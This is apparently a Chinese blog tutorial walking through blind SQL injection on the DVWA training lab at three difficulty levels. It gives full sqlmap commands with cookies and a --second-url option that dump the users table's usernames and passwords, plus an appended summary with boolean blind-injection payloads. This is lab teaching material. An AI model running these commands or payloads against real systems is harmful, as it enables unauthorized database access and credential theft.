DVWA之SQL盲注通关教程

SQL盲注

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
工具注入:

Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Low等级

使用bp截取cookie信息

image-20230903170209835

启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ 。

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875"

image-20230903171539645

获取当前数据库名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --current-db

image-20230903172319299

获得当前数据库名:dvwa

获取表名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' --tables

image-20230903173124484

获得表名:guestbook表和users表

获取列名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' --columns

image-20230903173353449

获得字段名:user,password等

获取数据

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' -C 'user,password' --dump

image-20230903174029774

获得用户名和密码

Medium等级

使用bp抓包分析,查看到是post方式提交数据。

image-20230903174412982

这里使用的是post方式进行传输,所以需要使用–data参数把提交的数据引入

获取当前数据库名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --current-db

image-20230903174953946

获取表名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' --tables

image-20230903175246059

获取列名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' --columns

image-20230903175451061

获取数据

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' -C 'user,password' --dump

image-20230903175709377

High等级

image-20230903180158076

其中数据提交的页面和查询结果显示的页面是分离成了2个不同的窗口控制的。即在查询提交窗口提交数据后(POST请求),结果的结果在另外一个窗口展示(GET请求)。

使用bp抓包

image-20230903180338888

此时需要利用其非常规的命令联合操作,如:-–second-url=“提交页面的url”(设置二阶响应的结果显示页面的url)

获取当前数据库名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" --current-db

image-20230903181604190

获取表名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' --tables

image-20230903181823794

获取列名

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' -T 'users' --columns

image-20230903181934934

获取数据

sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' -T 'users' -C 'user,password' --dump

image-20230903182050834

  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
靶场SQL盲注是指在DVWA(Damn Vulnerable Web Application)这个靶场中进行的SQL注入攻击。靶场中有一个名为dvwa数据库,我们可以通过一系列的注入语句来探测这个数据库中的表的数量和表名的长度。 首先,通过布尔盲注的方式,我们可以使用一些条件语句来判断表的数量。比如,我们可以使用以下语句来判断表的数量是否为1: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# ``` 如果返回结果为真,则说明表的数量为1。同样地,我们可以使用以下语句来判断表的数量是否大于2: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2# ``` 如果返回结果为假,则说明表的数量大于2。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA——SQL盲注(全等级)](https://blog.csdn.net/qq_45833260/article/details/125762606)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [DVWAsql注入——盲注](https://blog.csdn.net/Williamanddog/article/details/128404430)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安咸鱼1517

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值